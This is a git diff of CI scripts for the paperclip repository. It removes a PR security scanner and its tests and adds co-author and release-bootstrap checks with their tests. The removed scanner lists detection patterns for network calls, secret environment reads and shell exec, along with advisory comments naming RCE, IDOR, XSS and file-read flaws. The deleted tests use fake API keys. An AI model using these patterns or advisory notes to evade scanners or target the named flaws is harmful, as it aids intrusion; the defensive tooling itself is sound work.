-const SUSPICIOUS_PATTERNS = [
-  { name: 'outbound-network', re: /\+.*(fetch\(|axios\.|http\.request|https\.request)/ },
-  { name: 'env-var-read', re: /\+.*process\.env\.(?!(?:NODE_ENV|CI|TEST|VITEST|npm_))([A-Z_]{4,})/ },
-  { name: 'shell-exec', re: /\+.*(execSync\(|spawnSync\(|exec\(|spawn\()/ },
-  { name: 'absolute-file-read', re: /\+.*(readFile|readFileSync)\s*\(\s*["'`]?\// },
-];
-
-export function scanTestPatterns(files) {
-  const flags = [];
-  for (const file of files) {
-    if (!TEST_FILE_RE.test(file.filename) || !file.patch) continue;
-    for (const { name, re } of SUSPICIOUS_PATTERNS) {
-      if (re.test(file.patch)) {
-        flags.push({ check: 'suspicious-test', file: file.filename, pattern: name });
-      }
-    }
-  }
-  return flags;
-}
-
-const SENSITIVE_PATHS = [
-  // Advisory 1: codex-local adapter (inherited ChatGPT/Gmail OAuth scopes)
-  'packages/adapters/codex-local/',
-  // Advisory 2 & 11: OS command injection / privilege escalation via provisionCommand / cleanupCommand
-  'server/src/services/workspace-realization.ts',
-  'server/src/routes/execution-workspaces.ts',
-  'server/src/routes/workspace-command-authz.ts',
-  // Advisory 3 & 6: Cross-tenant agent API key minting and IDOR on /agents/:id/keys
-  'server/src/routes/agents.ts',
-  // Advisory 4: Approval decision attribution spoofing via decidedByUserId
-  'server/src/routes/approvals.ts',
-  // Advisory 5: Stored XSS via javascript: URLs in MarkdownBody (urlTransform)
-  'ui/src/components/MarkdownBody.tsx',
-  // Advisory 7: Unauthenticated access to authenticated-mode endpoints
-  'server/src/routes/authz.ts',
-  // Advisory 8: Unauthenticated RCE via import authorization bypass
-  'server/src/routes/companies.ts',
-  // Advisory 9: Malicious skills able to exfiltrate / destroy user data
-  'server/src/routes/company-skills.ts',
-  // Advisory 10: Arbitrary file read via agent-controlled instructionsFilePath
-  'server/src/services/agent-instructions.ts',
-];
-
-export function scanSensitivePaths(files) {
-  return files
-    .filter(f => f.status !== 'removed' && SENSITIVE_PATHS.some(p => f.filename.startsWith(p)))
-    .map(f => ({
-      check: 'sensitive-path',
-      file: f.filename,
-      advisoryPath: SENSITIVE_PATHS.find(p => f.filename.startsWith(p)),
-    }));
-}
-
-function buildContentsPath(repo, filename, ref) {
-  return `/repos/${repo}/contents/${filename}?${new URLSearchParams({ ref }).toString()}`;
-}
-
-export async function validateSensitivePaths(token, repo, prNumber, baseRef, fetchFromGitHub = ghFetch) {
-  const resolvedBaseRef = await resolveBaseRef(fetchFromGitHub, token, repo, prNumber, baseRef);
-  const stale = [];
-  await Promise.all(SENSITIVE_PATHS.map(async (path) => {
-    try {
-      await fetchFromGitHub(buildContentsPath(repo, path, resolvedBaseRef), token);
-    } catch (err) {
-      // 404 means the file/directory no longer exists at this path
-      if (String(err.message).includes('404')) stale.push(path);
-      // Other errors (network, rate limit) — re-throw so we don't silently miss them
-      else throw err;
-    }
-  }));
-  return stale;
-}
-
-// ── Advisory creation ─────────────────────────────────────────────────────────
-
-const SEVERITY_MAP = {
-  'supply-chain': 'critical',
-  'sensitive-path': 'critical',
-  'secret-scan': 'high',
-  'ci-tampering': 'high',
-  'suspicious-test': 'high',
-  'build-script-change': 'medium',
-};
-
-const SEVERITY_ORDER = ['low', 'medium', 'high', 'critical'];
-
-function worstSeverity(flags) {
-  return flags.reduce((worst, f) => {
-    const s = SEVERITY_MAP[f.check] ?? 'medium';
-    return SEVERITY_ORDER.indexOf(s) > SEVERITY_ORDER.indexOf(worst) ? s : worst;
-  }, 'low');
-}
-
-export function buildAdvisoryPayload(prNumber, prTitle, flags) {
-  const checkNames = [...new Set(flags.map(f => f.check))].join(', ');
-  return {
-    summary: `🚨 Security flag — PR #${prNumber}: ${checkNames}`,
-    description: [
-    `**PR:** #${prNumber} — ${prTitle}`,
-    `**Checks triggered:** ${checkNames}`,
-    '',
-    '**Details:**',
-    ...flags.map(f => [
-      `- \`${f.check}\`: ${f.file ?? ''}`,
-      f.pattern ? ` (pattern: ${f.pattern})` : '',
-      f.packages ? ` (packages: ${f.packages.join(', ')})` : '',
-      f.line ? `\n  \`${f.line}\`` : '',
-    ].join('')),
-    '',
-    '> This advisory was created automatically by commitperclip. Review and dismiss if not a real concern.',
-    ].join('\n'),
-    severity: worstSeverity(flags),
-    vulnerabilities: [],
-  };
-}
-
-export async function syncDraftAdvisory(fetchImpl, token, repo, prNumber, prTitle, flags) {
-  const existing = await findExistingDraftAdvisory(fetchImpl, token, repo, prNumber);
-  const payload = buildAdvisoryPayload(prNumber, prTitle, flags);
-
-  if (existing) {
-    const advisoryId = existing.ghsa_id ?? existing.id;
-    if (!advisoryId) {
-      throw new Error(`Existing advisory for PR #${prNumber} is missing both ghsa_id and id.`);
-    }
-
-    // PATCH rejects `vulnerabilities: []` with 422 ("Advisory must have at least one vulnerability").
-    // The field is only valid on POST when creating the draft; updates must omit it.
-    const { vulnerabilities, ...patchPayload } = payload;
-
-    return fetchImpl(`/repos/${repo}/security-advisories/${advisoryId}`, token, {
-      method: 'PATCH',
-      headers: { 'Content-Type': 'application/json' },
-      body: JSON.stringify(patchPayload),
-    });
-  }
-
-  return fetchImpl(`/repos/${repo}/security-advisories`, token, {
-    method: 'POST',
-    headers: { 'Content-Type': 'application/json' },
-    body: JSON.stringify(payload),
-  });
-}
-
-// Cap pagination so a large backlog of unrelated draft advisories cannot stall
-// the security gate (it runs inside a 5-minute workflow timeout).
-const MAX_DRAFT_ADVISORY_PAGES = 20;
-
-export async function findExistingDraftAdvisory(fetchImpl, token, repo, prNumber) {
-  const prMarker = `PR #${prNumber}`;
-
-  for (let page = 1; page <= MAX_DRAFT_ADVISORY_PAGES; page += 1) {
-    const advisories = await fetchImpl(
-      `/repos/${repo}/security-advisories?state=draft&per_page=100&page=${page}`,
-      token,
-    );
-
-    if (!Array.isArray(advisories) || advisories.length === 0) return null;
-
-    const existing = advisories.find(advisory =>
-      typeof advisory?.summary === 'string' && advisory.summary.includes(prMarker)
-    );
-    if (existing) return existing;
-
-    if (advisories.length < 100) return null;
-  }
-
-  console.warn(
-    `[security] findExistingDraftAdvisory: hit ${MAX_DRAFT_ADVISORY_PAGES}-page cap without finding PR #${prNumber}; ` +
-    'treating as new advisory. A duplicate draft may be created.',
-  );
-  return null;
-}
-
-export async function postSecurityCheckRun(fetchImpl, token, repo, headSha, hasFlags) {
-  await fetchImpl(`/repos/${repo}/check-runs`, token, {
-    method: 'POST',
-    headers: { 'Content-Type': 'application/json' },
-    body: JSON.stringify(hasFlags ? {
-      name: 'security-review',
-      head_sha: headSha,
-      // `completed/neutral` instead of `in_progress` so the check doesn't put
-      // the PR in `mergeStateStatus: BLOCKED`. The draft advisory is the
-      // durable signal for maintainers; there is no completion path that
-      // could ever flip an `in_progress` check-run back to completed on the
-      // same head SHA, so it would hang forever.
-      status: 'completed',
-      conclusion: 'neutral',
-      output: {
-        title: 'Security Review Recommended',
-        summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.',
-      },
-    } : {
-      name: 'security-review',
-      head_sha: headSha,
-      status: 'completed',
-      conclusion: 'success',
-      output: {
-        title: 'Security Review Passed',
-        summary: 'No security concerns detected.',
-      },
-    }),
-  });
-}
-
-// ── Main ──────────────────────────────────────────────────────────────────────
-
-// Wall-clock budget for the whole script. The workflow job has a 5-minute
-// timeout-minutes, and `continue-on-error: true` on a step does NOT override
-// a job-level timeout — it only suppresses step failures. So if any API call
-// (e.g. security-advisories POST/PATCH) hangs, the whole job is cancelled,
-// failing the `review` check. This watchdog enforces the script's documented
-// "always exit 0" contract regardless of API behaviour.
-export const SCRIPT_WATCHDOG_MS = 90_000;
-
-export function startScriptWatchdog(timeoutMs = SCRIPT_WATCHDOG_MS, exit = process.exit) {
-  const timer = setTimeout(() => {
-    console.warn(
-      `[security] script exceeded ${timeoutMs}ms wall-clock budget; exiting 0 per always-exit-0 contract`
-    );
-    exit(0);
-  }, timeoutMs);
-  // Don't keep the event loop alive solely for the watchdog.
-  timer.unref?.();
-  return timer;
-}
-
-async function main() {
-  const watchdog = startScriptWatchdog();
-
-  const { GH_TOKEN, GH_REPO, PR_NUMBER } = process.env;
-
-  if (!GH_TOKEN || !GH_REPO || !PR_NUMBER) {
-    console.error('ERROR: GH_TOKEN, GH_REPO, PR_NUMBER required');
-    process.exit(1);
-  }
-
-  // Sanitize inputs before use in URL construction (prevents SSRF)
-  const prNumber = parseInt(PR_NUMBER, 10);
-  if (!Number.isInteger(prNumber) || prNumber <= 0) {
-    console.error('ERROR: PR_NUMBER must be a positive integer');
-    process.exit(1);
-  }
-  if (!/^[a-zA-Z0-9_.-]+\/[a-zA-Z0-9_.-]+$/.test(GH_REPO)) {
-    console.error('ERROR: GH_REPO must be in owner/repo format');
-    process.exit(1);
-  }
-
-  // Validate SENSITIVE_PATHS — fails loudly if any have been refactored away on the PR base branch
-  const stalePaths = await validateSensitivePaths(GH_TOKEN, GH_REPO, prNumber);
-  if (stalePaths.length > 0) {
-    console.error('ERROR: Stale sensitive paths in check-pr-security.mjs:');
-    for (const p of stalePaths) console.error(`  - ${p}`);
-    console.error('');
-    console.error('These paths no longer exist on the PR base branch. The security gate will silently produce no signal for them.');
-    console.error('Update SENSITIVE_PATHS in check-pr-security.mjs to reflect the current code structure.');
-    process.exit(1);
-  }
-
-  const [pr, files] = await Promise.all([
-    ghFetch(`/repos/${GH_REPO}/pulls/${prNumber}`, GH_TOKEN),
-    fetchAllPullRequestFiles(ghFetch, GH_REPO, prNumber, GH_TOKEN),
-  ]);
-
-  const allFlags = [
-    ...scanSecrets(files),
-    ...scanCITampering(files),
-    ...scanBuildScripts(files),
-    ...scanSupplyChain(files),
-    ...scanTestPatterns(files),
-    ...scanSensitivePaths(files),
-  ];
-
-  if (allFlags.length > 0) {
-    console.error(`[security] ${allFlags.length} flag(s) detected — creating draft advisory and pending check run`);
-    await Promise.all([
-      syncDraftAdvisory(ghFetch, GH_TOKEN, GH_REPO, prNumber, pr.title, allFlags),
-      postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, true),
-    ]);
-  } else {
-    console.log('[security] all clear');
-    await postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, false);
-  }
-
-  // Always exit 0 — security flags are silent, never block the PR publicly
-  clearTimeout(watchdog);
-  process.exit(0);
-}
-
-if (process.argv[1] === fileURLToPath(import.meta.url)) {
-  main().catch(e => { console.error(e.message); process.exit(1); });
-}
diff --git a/.github/scripts/run-quality-gates.mjs b/.github/scripts/run-quality-gates.mjs
index a99786fbf24..31a1a12a006 100644
--- a/.github/scripts/run-quality-gates.mjs
+++ b/.github/scripts/run-quality-gates.mjs
@@ -16,6 +16,8 @@ import { checkDedupSearch } from './check-pr-dedup-search.mjs';
 import { checkTestCoverage } from './check-pr-test-coverage.mjs';
 import { checkLockfile } from './check-pr-lockfile.mjs';
 import { checkDependencies } from './check-pr-dependencies.mjs';
+import { checkReleaseBootstrap } from './check-pr-release-bootstrap.mjs';
+import { checkCoauthors, fetchAllPullRequestCommits } from './check-pr-coauthors.mjs';
 
 const COMMENT_SIGNATURE = '— commitperclip';
 
@@ -105,13 +107,24 @@ async function main() {
     fetchAllPullRequestFiles(ghFetch, GH_REPO, prNumber, GH_TOKEN),
   ]);
 
+  // Separate, and allowed to fail. The co-author note is informational: it
+  // cannot fail a PR by design, so it must not be able to fail the workflow by
+  // accident either. Sharing the Promise.all above would let one transient
+  // 5xx on this request take down every gate, including the ones that block.
+  let commits = [];
+  try {
+    commits = await fetchAllPullRequestCommits(ghFetch, GH_REPO, prNumber, GH_TOKEN);
+  } catch (error) {
+    console.error(`co-author lookup skipped: ${error.message}`);
+  }
+
   const prBody = pr.body ?? '';
   const author = PR_AUTHOR ?? pr.user.login;
   const branch = PR_BRANCH ?? pr.head.ref;
 
   // Run all quality gates (pure functions run sync, deps check is async)
   const prTitle = pr.title ?? '';
-  const [templateResult, issueResult, dedupResult, testResult, lockfileResult, depsResult] =
+  const [templateResult, issueResult, dedupResult, testResult, lockfileResult, depsResult, bootstrapResult] =
     await Promise.all([
       Promise.resolve(checkTemplate(prBody)),
       Promise.resolve(checkLinkedIssue(prBody, prTitle)),
@@ -119,7 +132,9 @@ async function main() {
       Promise.resolve(checkTestCoverage(files, prTitle)),
       Promise.resolve(checkLockfile(files, author, branch)),
       checkDependencies(files, GH_TOKEN, GH_REPO, prNumber, pr.base?.ref),
+      checkReleaseBootstrap(files, GH_TOKEN, GH_REPO, prNumber, pr.base?.ref),
     ]);
+  const coauthorResult = checkCoauthors(commits, author);
 
   const allFailures = [
     ...templateResult.failures,
@@ -128,7 +143,11 @@ async function main() {
     ...testResult.failures,
     ...lockfileResult.failures,
   ];
-  const informational = depsResult.informational ?? [];
+  const informational = [
+    ...(depsResult.informational ?? []),
+    ...(bootstrapResult.informational ?? []),
+    ...coauthorResult.informational,
+  ];
   const allPassed = allFailures.length === 0;
 
   const commentBody = buildComment(author, allFailures, informational);
diff --git a/.github/scripts/tests/check-pr-coauthors.test.mjs b/.github/scripts/tests/check-pr-coauthors.test.mjs
new file mode 100644
index 00000000000..8f339532388
--- /dev/null
+++ b/.github/scripts/tests/check-pr-coauthors.test.mjs
@@ -0,0 +1,179 @@
+import { test } from 'node:test';
+import assert from 'node:assert/strict';
+import { checkCoauthors, fetchAllPullRequestCommits } from '../check-pr-coauthors.mjs';
+
+function commit(login, name = null, email = null) {
+  return {
+    author: login ? { login } : null,
+    commit: { author: { name: name ?? login, email: email ?? `${login}@users.noreply.github.com` } },
+  };
+}
+
+test('checkCoauthors: says nothing when every commit is the PR author\'s own', () => {
+  const result = checkCoauthors(
+    [commit('tonio-alucema'), commit('tonio-alucema')],
+    'tonio-alucema'
+  );
+
+  assert.equal(result.passed, true);
+  assert.deepEqual(result.informational, []);
+});
+
+test('checkCoauthors: hands over the trailer when the branch carries someone else\'s commit', () => {
+  // The case this exists for: a stale contributor PR rebased and landed by a
+  // maintainer. Squash-merging drops the contributor unless the squash body
+  // carries their trailer.
+  const result = checkCoauthors(
+    [commit('stubbi', 'Jannes Stubbemann'), commit('tonio-alucema')],
+    'tonio-alucema'
+  );
+
+  assert.equal(result.informational.length, 1);
+  assert.match(result.informational[0], /Jannes Stubbemann/);
+  assert.match(
+    result.informational[0],
+    /Co-Authored-By: Jannes Stubbemann <stubbi@users\.noreply\.github\.com>/
+  );
+});
+
+test('checkCoauthors: never fails the PR, because the squash message does not exist yet', () => {
+  // Informational only. The author of the PR cannot satisfy this from the PR,
+  // so failing here would block work on something unfixable at that point.
+  const result = checkCoauthors([commit('stubbi')], 'tonio-alucema');
+
+  assert.equal(result.passed, true);
+});
+
+test('checkCoauthors: matches the PR author case-insensitively', () => {
+  // GitHub logins are case-insensitive, and PR_AUTHOR does not always arrive
+  // in the same case as the commit author login.
+  const result = checkCoauthors([commit('Tonio-Alucema')], 'tonio-alucema');
+
+  assert.deepEqual(result.informational, []);
+});
+
+test('checkCoauthors: ignores bots', () => {
+  const result = checkCoauthors(
+    [commit('github-actions[bot]'), commit('dependabot[bot]')],
+    'tonio-alucema'
+  );
+
+  assert.deepEqual(result.informational, []);
+});
+
+test('checkCoauthors: lists each contributor once, however many commits they wrote', () => {
+  const result = checkCoauthors(
+    [commit('stubbi', 'Jannes Stubbemann'), commit('stubbi', 'Jannes Stubbemann')],
+    'tonio-alucema'
+  );
+
+  const trailers = result.informational[0].match(/Co-Authored-By:/g) ?? [];
+  assert.equal(trailers.length, 1);
+});
+
+test('checkCoauthors: falls back to the raw git author when GitHub matched no account', () => {
+  // A commit authored with an email GitHub cannot resolve still deserves a
+  // trailer — that is precisely the identity most likely to be lost.
+  const result = checkCoauthors(
+    [{ author: null, commit: { author: { name: 'Ada Lovelace', email: 'ada@example.com' } } }],
+    'tonio-alucema'
+  );
+
+  assert.match(result.informational[0], /Co-Authored-By: Ada Lovelace <ada@example\.com>/);
+});
+
+test('checkCoauthors: skips an unattributable commit rather than emitting a broken trailer', () => {
+  const result = checkCoauthors(
+    [{ author: null, commit: { author: { name: 'Nameless', email: null } } }],
+    'tonio-alucema'
+  );
+
+  assert.deepEqual(result.informational, []);
+});
+
+test('checkCoauthors: names the count rather than everyone when several contributed', () => {
+  const result = checkCoauthors(
+    [commit('stubbi', 'Jannes Stubbemann'), commit('elJayAdvisor', 'LJ')],
+    'tonio-alucema'
+  );
+
+  assert.match(result.informational[0], /2 other contributors/);
+  assert.match(result.informational[0], /Jannes Stubbemann/);
+  assert.match(result.informational[0], /LJ/);
+});
+
+test('checkCoauthors: tolerates a PR with no commits', () => {
+  assert.deepEqual(checkCoauthors([], 'tonio-alucema').informational, []);
+  assert.deepEqual(checkCoauthors(undefined, 'tonio-alucema').informational, []);
+});
+
+test('fetchAllPullRequestCommits: pages until a short batch', async () => {
+  const seen = [];
+  const commits = await fetchAllPullRequestCommits(async (path) => {
+    seen.push(path);
+    if (path.endsWith('page=1')) return Array.from({ length: 100 }, () => commit('stubbi'));
+    return [commit('tonio-alucema')];
+  }, 'paperclipai/paperclip', 9900, 'token');
+
+  assert.equal(commits.length, 101);
+  assert.equal(seen.length, 2);
+});
+
+test('fetchAllPullRequestCommits: stops at the API ceiling instead of looping', async () => {
+  // `/pulls/{n}/commits` caps at 250 and keeps returning full pages of nothing
+  // new past that. A branch that large is not what this gate is about, but it
+  // must not spin.
+  let calls = 0;
+  const commits = await fetchAllPullRequestCommits(async () => {
+    calls += 1;
+    return Array.from({ length: 100 }, () => commit('stubbi'));
+  }, 'paperclipai/paperclip', 9900, 'token');
+
+  assert.equal(calls, 3);
+  assert.equal(commits.length, 300);
+});
+
+test('checkCoauthors: counts one person once when their git name varies across commits', () => {
+  // People change their git config. Keying the dedup on the rendered trailer
+  // would put two lines for the same contributor into the squash body.
+  const result = checkCoauthors(
+    [commit('stubbi', 'Jannes Stubbemann'), commit('stubbi', 'J. Stubbemann')],
+    'tonio-alucema'
+  );
+
+  const trailers = result.informational[0].match(/Co-Authored-By:/g) ?? [];
+  assert.equal(trailers.length, 1);
+  assert.doesNotMatch(result.informational[0], /other contributors/);
+});
+
+test('checkCoauthors: does not credit the PR author as a co-author of themselves', () => {
+  // Their own commit, authored with an email GitHub could not match to the
+  // account. Without the guard they appear in their own trailer list.
+  const byName = checkCoauthors(
+    [{ author: null, commit: { author: { name: 'tonio-alucema', email: 'tonio@example.com' } } }],
+    'tonio-alucema'
+  );
+  const byEmail = checkCoauthors(
+    [{ author: null, commit: { author: { name: 'Tonio', email: 'tonio-alucema@users.noreply.github.com' } } }],
+    'tonio-alucema'
+  );
+
+  assert.deepEqual(byName.informational, []);
+  assert.deepEqual(byEmail.informational, []);
+});
+
+test('checkCoauthors: counts one person once when some commits matched their account and some did not', () => {
+  // The mixed case: GitHub resolved one commit to the login and left another
+  // unmatched, both carrying the same email. Keying on login alone emits two
+  // trailers for one contributor.
+  const result = checkCoauthors(
+    [
+      commit('stubbi', 'Jannes Stubbemann', 'jannes@example.com'),
+      { author: null, commit: { author: { name: 'Jannes Stubbemann', email: 'jannes@example.com' } } },
+    ],
+    'tonio-alucema'
+  );
+
+  const trailers = result.informational[0].match(/Co-Authored-By:/g) ?? [];
+  assert.equal(trailers.length, 1);
+});
diff --git a/.github/scripts/tests/check-pr-release-bootstrap.test.mjs b/.github/scripts/tests/check-pr-release-bootstrap.test.mjs
new file mode 100644
index 00000000000..ad631c61ffe
--- /dev/null
+++ b/.github/scripts/tests/check-pr-release-bootstrap.test.mjs
@@ -0,0 +1,265 @@
+import { test } from 'node:test';
+import assert from 'node:assert/strict';
+import {
+  addedWorkspaceDependencyNames,
+  checkReleaseBootstrap,
+} from '../check-pr-release-bootstrap.mjs';
+
+const MANIFEST_PATH = 'scripts/release-package-manifest.json';
+
+function encodeManifest(entries) {
+  return { content: Buffer.from(JSON.stringify(entries)).toString('base64') };
+}
+
+function stubGitHub({ base = [], head = [] }) {
+  return async (path) => {
+    if (path.includes('ref=refs%2Fpull%2F')) return encodeManifest(head);
+    if (path.includes(`/contents/`)) return encodeManifest(base);
+    throw new Error(`unexpected fetch: ${path}`);
+  };
+}
+
+const manifestChangedFile = { filename: MANIFEST_PATH, status: 'modified' };
+
+test('does nothing (and fetches nothing) when the manifest is untouched', async () => {
+  const result = await checkReleaseBootstrap(
+    [{ filename: 'server/src/index.ts', status: 'modified' }],
+    'token',
+    'paperclipai/paperclip',
+    9967,
+    'master',
+    {
+      fetchFromGitHub: async () => { throw new Error('should not fetch'); },
+      registryPackageExists: async () => { throw new Error('should not look up'); },
+    }
+  );
+
+  assert.deepEqual(result, { passed: true, informational: [] });
+});
+
+test('notices a new publishFromCi:true package that is missing from npm', async () => {
+  const result = await checkReleaseBootstrap(
+    [manifestChangedFile],
+    'token',
+    'paperclipai/paperclip',
+    9967,
+    'master',
+    {
+      fetchFromGitHub: stubGitHub({
+        base: [{ dir: 'a', name: '@paperclipai/existing', publishFromCi: true }],
+        head: [
+          { dir: 'a', name: '@paperclipai/existing', publishFromCi: true },
+          { dir: 'b', name: '@paperclipai/brand-new', publishFromCi: true },
+        ],
+      }),
+      registryPackageExists: async (name) => name !== '@paperclipai/brand-new',
+    }
+  );
+
+  assert.equal(result.informational.length, 1);
+  assert.match(result.informational[0], /@paperclipai\/brand-new/);
+  assert.match(result.informational[0], /release:bootstrap-package -- @paperclipai\/brand-new --publish/);
+  assert.match(result.informational[0], /No contributor action/);
+});
+
+test('stays quiet when the new package already exists on npm', async () => {
+  const result = await checkReleaseBootstrap(
+    [manifestChangedFile],
+    'token',
+    'paperclipai/paperclip',
+    9967,
+    'master',
+    {
+      fetchFromGitHub: stubGitHub({
+        base: [],
+        head: [{ dir: 'b', name: '@paperclipai/already-bootstrapped', publishFromCi: true }],
+      }),
+      registryPackageExists: async () => true,
+    }
+  );
+
+  assert.deepEqual(result.informational, []);
+});
+
+test('notices a publishFromCi flip from false to true on a missing package', async () => {
+  const result = await checkReleaseBootstrap(
+    [manifestChangedFile],
+    'token',
+    'paperclipai/paperclip',
+    9967,
+    'master',
+    {
+      fetchFromGitHub: stubGitHub({
+        base: [{ dir: 'b', name: '@paperclipai/flipped', publishFromCi: false }],
+        head: [{ dir: 'b', name: '@paperclipai/flipped', publishFromCi: true }],
+      }),
+      registryPackageExists: async () => false,
+    }
+  );
+
+  assert.equal(result.informational.length, 1);
+  assert.match(result.informational[0], /@paperclipai\/flipped/);
+});
+
+test('notices a publishFromCi:false package that published packages newly depend on', async () => {
+  const files = [
+    manifestChangedFile,
+    {
+      filename: 'server/package.json',
+      status: 'modified',
+      patch: '@@ -1 +1 @@\n+    "@paperclipai/adapter-kimi-local": "workspace:*",',
+    },
+  ];
+
+  const result = await checkReleaseBootstrap(
+    files,
+    'token',
+    'paperclipai/paperclip',
+    9967,
+    'master',
+    {
+      fetchFromGitHub: stubGitHub({
+        base: [],
+        head: [{ dir: 'b', name: '@paperclipai/adapter-kimi-local', publishFromCi: false }],
+      }),
+      registryPackageExists: async () => false,
+    }
+  );
+
+  assert.equal(result.informational.length, 1);
+  assert.match(result.informational[0], /depend on it/);
+  assert.match(result.informational[0], /"publishFromCi": true/);
+  assert.match(result.informational[0], /drop the workspace dependency/);
+});
+
+test('notices a newly added dependency on an existing unpublished package even when the manifest is untouched', async () => {
+  const files = [
+    {
+      filename: 'server/package.json',
+      status: 'modified',
+      patch: '@@ -1 +1 @@\n+    "@paperclipai/adapter-hermes-gateway": "workspace:*",',
+    },
+  ];
+
+  const manifest = [{ dir: 'g', name: '@paperclipai/adapter-hermes-gateway', publishFromCi: false }];
+  const result = await checkReleaseBootstrap(
+    files,
+    'token',
+    'paperclipai/paperclip',
+    9967,
+    'master',
+    {
+      fetchFromGitHub: stubGitHub({ base: manifest, head: manifest }),
+      registryPackageExists: async () => false,
+    }
+  );
+
+  assert.equal(result.informational.length, 1);
+  assert.match(result.informational[0], /@paperclipai\/adapter-hermes-gateway/);
+  assert.match(result.informational[0], /depend on it/);
+});
+
+test('stays quiet for a publishFromCi:false package nothing depends on', async () => {
+  const result = await checkReleaseBootstrap(
+    [manifestChangedFile],
+    'token',
+    'paperclipai/paperclip',
+    9967,
+    'master',
+    {
+      fetchFromGitHub: stubGitHub({
+        base: [],
+        head: [{ dir: 'b', name: '@paperclipai/deliberately-private', publishFromCi: false }],
+      }),
+      registryPackageExists: async () => { throw new Error('should not look up'); },
+    }
+  );
+
+  assert.deepEqual(result.informational, []);
+});
+
+test('never looks up names outside the @paperclipai scope', async () => {
+  const lookedUp = [];
+  const result = await checkReleaseBootstrap(
+    [manifestChangedFile],
+    'token',
+    'paperclipai/paperclip',
+    9967,
+    'master',
+    {
+      fetchFromGitHub: stubGitHub({
+        base: [],
+        head: [
+          { dir: 'x', name: '@evil/probe', publishFromCi: true },
+          { dir: 'y', name: 'unscoped-name', publishFromCi: true },
+          { dir: 'z', name: '@paperclipai/UPPER', publishFromCi: true },
+        ],
+      }),
+      registryPackageExists: async (name) => {
+        lookedUp.push(name);
+        return false;
+      },
+    }
+  );
+
+  assert.deepEqual(lookedUp, []);
+  assert.deepEqual(result.informational, []);
+});
+
+test('stays quiet when the registry lookup fails', async () => {
+  const result = await checkReleaseBootstrap(
+    [manifestChangedFile],
+    'token',
+    'paperclipai/paperclip',
+    9967,
+    'master',
+    {
+      fetchFromGitHub: stubGitHub({
+        base: [],
+        head: [{ dir: 'b', name: '@paperclipai/brand-new', publishFromCi: true }],
+      }),
+      registryPackageExists: async () => { throw new Error('registry down'); },
+    }
+  );
+
+  assert.deepEqual(result, { passed: true, informational: [] });
+});
+
+test('treats a missing base manifest as empty (every head entry is new)', async () => {
+  const result = await checkReleaseBootstrap(
+    [manifestChangedFile],
+    'token',
+    'paperclipai/paperclip',
+    9967,
+    'master',
+    {
+      fetchFromGitHub: async (path) => {
+        if (path.includes('ref=refs%2Fpull%2F')) {
+          return encodeManifest([{ dir: 'b', name: '@paperclipai/brand-new', publishFromCi: true }]);
+        }
+        throw new Error('404 base manifest');
+      },
+      registryPackageExists: async () => false,
+    }
+  );
+
+  assert.equal(result.informational.length, 1);
+});
+
+test('addedWorkspaceDependencyNames reads only added lines of package.json patches', () => {
+  const names = addedWorkspaceDependencyNames([
+    {
+      filename: 'server/package.json',
+      patch: [
+        '@@ -1,3 +1,4 @@',
+        '     "@paperclipai/context-line": "workspace:*",',
+        '-    "@paperclipai/removed-dep": "workspace:*",',
+        '+    "@paperclipai/added-dep": "workspace:*",',
+      ].join('\n'),
+    },
+    { filename: 'ui/src/index.ts', patch: '+    "@paperclipai/not-a-pkg-json": "workspace:*",' },
+    { filename: 'node_modules/x/package.json', patch: '+    "@paperclipai/vendored": "workspace:*",' },
+  ]);
+
+  assert.deepEqual([...names], ['@paperclipai/added-dep']);
+});
diff --git a/.github/scripts/tests/check-pr-security.test.mjs b/.github/scripts/tests/check-pr-security.test.mjs
deleted file mode 100644
index 637e2c50b45..00000000000
--- a/.github/scripts/tests/check-pr-security.test.mjs
+++ /dev/null
@@ -1,380 +0,0 @@
-import { test } from 'node:test';
-import assert from 'node:assert/strict';
-import {
-  buildAdvisoryPayload,
-  findExistingDraftAdvisory,
-  postSecurityCheckRun,
-  scanSecrets,
-  scanCITampering,
-  scanBuildScripts,
-  scanSupplyChain,
-  scanTestPatterns,
-  scanSensitivePaths,
-  startScriptWatchdog,
-  syncDraftAdvisory,
-  validateSensitivePaths,
-} from '../check-pr-security.mjs';
-import { ghFetch } from '../get-bot-token.mjs';
-
-// ── scanSecrets ──────────────────────────────────────────────────────────────
-
-test('scanSecrets: flags OpenAI key in added line', () => {
-  const files = [{ filename: 'src/config.ts', patch: '+const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }];
-  assert.ok(scanSecrets(files).length > 0);
-});
-
-test('scanSecrets: flags AWS key in added line', () => {
-  const files = [{ filename: 'src/config.ts', patch: '+const awsKey = "AKIAIOSFODNN7EXAMPLE"' }];
-  assert.ok(scanSecrets(files).length > 0);
-});
-
-test('scanSecrets: ignores removed lines', () => {
-  const files = [{ filename: 'src/config.ts', patch: '-const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }];
-  assert.equal(scanSecrets(files).length, 0);
-});
-
-test('scanSecrets: ignores files without patch', () => {
-  assert.equal(scanSecrets([{ filename: 'large-file.ts' }]).length, 0);
-});
-
-// ── scanCITampering ──────────────────────────────────────────────────────────
-
-test('scanCITampering: flags workflow file changes', () => {
-  const files = [{ filename: '.github/workflows/pr.yml', status: 'modified' }];
-  assert.ok(scanCITampering(files).length > 0);
-});
-
-test('scanCITampering: ignores non-workflow files', () => {
-  const files = [{ filename: 'src/foo.ts', status: 'modified' }];
-  assert.equal(scanCITampering(files).length, 0);
-});
-
-test('scanCITampering: ignores removed workflow files', () => {
-  const files = [{ filename: '.github/workflows/old.yml', status: 'removed' }];
-  assert.equal(scanCITampering(files).length, 0);
-});
-
-// ── scanBuildScripts ─────────────────────────────────────────────────────────
-
-test('scanBuildScripts: flags changes to release.sh', () => {
-  const files = [{ filename: 'scripts/release.sh', status: 'modified' }];
-  assert.ok(scanBuildScripts(files).length > 0);
-});
-
-test('scanBuildScripts: ignores non-CI scripts', () => {
-  const files = [{ filename: 'scripts/generate-org-chart-images.ts', status: 'modified' }];
-  assert.equal(scanBuildScripts(files).length, 0);
-});
-
-// ── scanSupplyChain ──────────────────────────────────────────────────────────
-
-test('scanSupplyChain: flags net-new packages in lockfile', () => {
-  const patch = `@@ -1,3 +1,4 @@
- packages:
-+  'evil-package@1.0.0':
-   'existing-package@2.0.0':
--  'old-package@1.0.0':
-`;
-  const files = [{ filename: 'pnpm-lock.yaml', patch }];
-  const flags = scanSupplyChain(files);
